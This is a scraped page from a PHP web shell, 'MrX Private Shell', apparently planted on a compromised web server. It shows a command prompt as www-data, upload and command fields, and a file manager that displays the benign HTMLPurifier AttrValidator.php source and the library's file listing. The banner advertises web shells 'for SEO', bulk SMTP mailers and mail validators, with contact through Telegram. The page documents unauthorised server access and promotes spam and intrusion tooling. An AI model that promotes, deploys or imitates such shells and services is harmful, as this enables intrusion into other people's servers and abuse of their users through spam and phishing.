__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php

/**
 * Validates the attributes of a token. Doesn't manage required attributes
 * very well. The only reason we factored this out was because RemoveForeignElements
 * also needed it besides ValidateAttributes.
 */
class HTMLPurifier_AttrValidator
{

    /**
     * Validates the attributes of a token, mutating it as necessary.
     * that has valid tokens
     * @param HTMLPurifier_Token $token Token to validate.
     * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
     * @param HTMLPurifier_Context $context Instance of HTMLPurifier_Context
     */
    public function validateToken($token, $config, $context)
    {
        $definition = $config->getHTMLDefinition();
        $e =& $context->get('ErrorCollector', true);

        // initialize IDAccumulator if necessary
        $ok =& $context->get('IDAccumulator', true);
        if (!$ok) {
            $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context);
            $context->register('IDAccumulator', $id_accumulator);
        }

        // initialize CurrentToken if necessary
        $current_token =& $context->get('CurrentToken', true);
        if (!$current_token) {
            $context->register('CurrentToken', $token);
        }

        if (!$token instanceof HTMLPurifier_Token_Start &&
            !$token instanceof HTMLPurifier_Token_Empty
        ) {
            return;
        }

        // create alias to global definition array, see also $defs
        // DEFINITION CALL
        $d_defs = $definition->info_global_attr;

        // don't update token until the very end, to ensure an atomic update
        $attr = $token->attr;

        // do global transformations (pre)
        // nothing currently utilizes this
        foreach ($definition->info_attr_transform_pre as $transform) {
            $attr = $transform->transform($o = $attr, $config, $context);
            if ($e) {
                if ($attr != $o) {
                    $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
                }
            }
        }

        // do local transformations only applicable to this element (pre)
        // ex. <p align="right"> to <p style="text-align:right;">
        foreach ($definition->info[$token->name]->attr_transform_pre as $transform) {
            $attr = $transform->transform($o = $attr, $config, $context);
            if ($e) {
                if ($attr != $o) {
                    $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
                }
            }
        }

        // create alias to this element's attribute definition array, see
        // also $d_defs (global attribute definition array)
        // DEFINITION CALL
        $defs = $definition->info[$token->name]->attr;

        $attr_key = false;
        $context->register('CurrentAttr', $attr_key);

        // iterate through all the attribute keypairs
        // Watch out for name collisions: $key has previously been used
        foreach ($attr as $attr_key => $value) {

            // call the definition
            if (isset($defs[$attr_key])) {
                // there is a local definition defined
                if ($defs[$attr_key] === false) {
                    // We've explicitly been told not to allow this element.
                    // This is usually when there's a global definition
                    // that must be overridden.
                    // Theoretically speaking, we could have a
                    // AttrDef_DenyAll, but this is faster!
                    $result = false;
                } else {
                    // validate according to the element's definition
                    $result = $defs[$attr_key]->validate(
                        $value,
                        $config,
                        $context
                    );
                }
            } elseif (isset($d_defs[$attr_key])) {
                // there is a global definition defined, validate according
                // to the global definition
                $result = $d_defs[$attr_key]->validate(
                    $value,
                    $config,
                    $context
                );
            } else {
                // system never heard of the attribute? DELETE!
                $result = false;
            }

            // put the results into effect
            if ($result === false || $result === null) {
                // this is a generic error message that should replaced
                // with more specific ones when possible
                if ($e) {
                    $e->send(E_ERROR, 'AttrValidator: Attribute removed');
                }

                // remove the attribute
                unset($attr[$attr_key]);
            } elseif (is_string($result)) {
                // generally, if a substitution is happening, there
                // was some sort of implicit correction going on. We'll
                // delegate it to the attribute classes to say exactly what.

                // simple substitution
                $attr[$attr_key] = $result;
            } else {
                // nothing happens
            }

            // we'd also want slightly more complicated substitution
            // involving an array as the return value,
            // although we're not sure how colliding attributes would
            // resolve (certain ones would be completely overriden,
            // others would prepend themselves).
        }

        $context->destroy('CurrentAttr');

        // post transforms

        // global (error reporting untested)
        foreach ($definition->info_attr_transform_post as $transform) {
            $attr = $transform->transform($o = $attr, $config, $context);
            if ($e) {
                if ($attr != $o) {
                    $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
                }
            }
        }

        // local (error reporting untested)
        foreach ($definition->info[$token->name]->attr_transform_post as $transform) {
            $attr = $transform->transform($o = $attr, $config, $context);
            if ($e) {
                if ($attr != $o) {
                    $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
                }
            }
        }

        $token->attr = $attr;

        // destroy CurrentToken if we made it ourselves
        if (!$current_token) {
            $context->destroy('CurrentToken');
        }

    }


}

// vim: et sw=4 sts=4

Filemanager

Name Type Size Permission Actions
AttrDef Folder 0755
AttrTransform Folder 0755
ChildDef Folder 0755
ConfigSchema Folder 0755
DefinitionCache Folder 0755
EntityLookup Folder 0755
Filter Folder 0755
HTMLModule Folder 0755
Injector Folder 0755
Language Folder 0755
Lexer Folder 0755
Node Folder 0755
Printer Folder 0755
Strategy Folder 0755
TagTransform Folder 0755
Token Folder 0755
URIFilter Folder 0755
URIScheme Folder 0755
VarParser Folder 0755
Arborize.php File 2.49 KB 0644
AttrCollections.php File 4.75 KB 0644
AttrDef.php File 5.07 KB 0644
AttrTransform.php File 1.94 KB 0644
AttrTypes.php File 3.67 KB 0644
AttrValidator.php File 6.42 KB 0644
Bootstrap.php File 2.64 KB 0644
CSSDefinition.php File 19.37 KB 0644
ChildDef.php File 1.52 KB 0644
Config.php File 30.96 KB 0644
ConfigSchema.php File 5.76 KB 0644
ContentSets.php File 5.51 KB 0644
Context.php File 2.57 KB 0644
Definition.php File 1.33 KB 0644
DefinitionCache.php File 3.82 KB 0644
DefinitionCacheFactory.php File 3.12 KB 0644
Doctype.php File 1.54 KB 0644
DoctypeRegistry.php File 4.13 KB 0644
ElementDef.php File 7.35 KB 0644
Encoder.php File 25.19 KB 0644
EntityLookup.php File 1.39 KB 0644
EntityParser.php File 9.8 KB 0644
ErrorCollector.php File 7.45 KB 0644
ErrorStruct.php File 1.85 KB 0644
Exception.php File 177 B 0644
Filter.php File 1.59 KB 0644
Generator.php File 10.01 KB 0644
HTMLDefinition.php File 17.33 KB 0644
HTMLModule.php File 9.96 KB 0644
HTMLModuleManager.php File 15.57 KB 0644
IDAccumulator.php File 1.61 KB 0644
Injector.php File 8.79 KB 0644
Language.php File 5.92 KB 0644
LanguageFactory.php File 6.46 KB 0644
Length.php File 3.8 KB 0644
Lexer.php File 12.72 KB 0644
Node.php File 1.25 KB 0644
PercentEncoder.php File 3.48 KB 0644
Printer.php File 5.76 KB 0644
PropertyList.php File 2.72 KB 0644
PropertyListIterator.php File 894 B 0644
Queue.php File 1.51 KB 0644
Strategy.php File 762 B 0644
StringHash.php File 1.07 KB 0644
StringHashParser.php File 3.56 KB 0644
TagTransform.php File 1.07 KB 0644
Token.php File 2.17 KB 0644
TokenFactory.php File 3.03 KB 0644
URI.php File 10.35 KB 0644
URIDefinition.php File 3.35 KB 0644
URIFilter.php File 2.31 KB 0644
URIParser.php File 2.24 KB 0644
URIScheme.php File 3.4 KB 0644
URISchemeRegistry.php File 2.35 KB 0644
UnitConverter.php File 9.91 KB 0644
VarParser.php File 5.85 KB 0644
VarParserException.php File 157 B 0644
Zipper.php File 4.34 KB 0644
Filemanager